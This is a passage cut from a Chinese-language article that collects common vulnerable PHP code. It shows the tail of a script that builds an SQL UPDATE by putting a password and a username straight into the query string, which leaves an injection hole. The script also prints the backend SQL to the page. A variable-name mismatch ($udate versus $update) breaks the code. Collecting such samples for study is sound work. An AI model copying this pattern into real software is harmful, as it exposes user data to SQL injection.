  54. $rows = $row['username'];
  55. $udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
  56. mysql_query($update);
  57. if(mysql_error())
  58. {
  59. print_r(mysql_error());
  60. }
  61. echo "后端执行语句: {$sql} <br>";
  62. }
  63. else
  64. {
  65. echo "<br>后端执行语句: {$sql} <br>";
  66. }
  67. }
  68. }
  69. }
  70. ?>
  71. </body>
  72. </html>

以上就是非常全面!PHP常见漏洞代码总结!的详细内容,更多关于非常全面!PHP常见漏洞代码总结!的资料请关注九品源码其它相关文章!